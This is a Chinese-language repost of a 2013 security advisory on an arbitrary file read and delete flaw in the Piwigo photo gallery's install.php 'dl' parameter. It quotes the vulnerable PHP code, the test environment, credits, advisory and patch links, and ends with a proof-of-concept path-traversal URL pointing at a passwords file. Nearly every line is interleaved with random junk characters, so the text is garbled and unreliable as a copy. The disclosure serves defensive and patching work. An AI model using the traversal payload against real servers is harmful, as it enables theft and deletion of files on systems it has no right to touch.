Piwigo是用PHP编写的相册脚本。
5 e; w# t8 G. q% \+ O3 L8 R' I/ T0 T" c
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
! }+ {2 ~6 R0 o* [$ x5 Q# ]====================================================================
1 u1 b) n9 \2 ~/install.php:- _9 O+ y* w8 M) {% a+ v
-------------
: I1 }( N2 o8 v# H6 g/ N; }113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'])). Y! r( N8 ]! t- P( ~
114: {
( O* X% E" ` i# q- s/ ~115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
. {' X+ p: s+ Y, `0 ~6 A116: header('Cache-Control: no-cache, must-revalidate');
8 B3 W7 a* n0 z- Q. s3 I117: header('Pragma: no-cache');. T, Z; R- \& X. T# N
118: header('Content-Disposition: attachment; filename="database.inc.php"');" r/ w* X* \* B1 M9 ] f5 A
119: header('Content-Transfer-Encoding: binary');. L, P1 n3 `+ e3 L
120: header('Content-Length: '.filesize($filename));
0 F3 j0 k" n; t9 ~+ K( l% S121: echo file_get_contents($filename);5 b+ y5 @7 R+ z% s; `6 o5 F
122: unlink($filename);; s3 \: m7 @: K+ h
123: exit();/ n1 K4 l! T0 c0 v. I
124: }+ Y) ? @ D) n
====================================================================
# G Q1 f# q: y+ T
# w# d1 s& P; Y* }Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
& b4 V% j" f& e- d- d0 U; ^# v Apache 2.4.2 (Win32)
5 w. X% I6 G; R0 _1 ` PHP 5.4.4% I% k, A5 [* L6 `6 |& o
MySQL 5.5.25a6 m, t- y2 L# Q$ a( L; @3 L
I* O; B q& I, P2 i A6 n2 ~
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic% O! _# D, D$ R+ Z
@zeroscience m2 @* {1 K+ D0 u! f
i2 E; p; z" v) ?9 ~Advisory ID: ZSL-2013-5127+ r' L7 ^% H ]5 E7 h
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
" A3 w* Q q0 u1 \Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
. `. Q$ S/ q, z' }' w0 _ K! L* _
! a: y6 M9 W! E% O8 f8 B# b15.02.20133 ^* M5 e2 o3 A1 K; H4 |
$ ?1 b9 H: O# @( V3 E. P0 z# T--" e ?* k, Q+ S; d6 ]
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
$ r4 ?8 }$ N& V* @" | 8 H: k# [5 D* {. {2 {% y8 |
|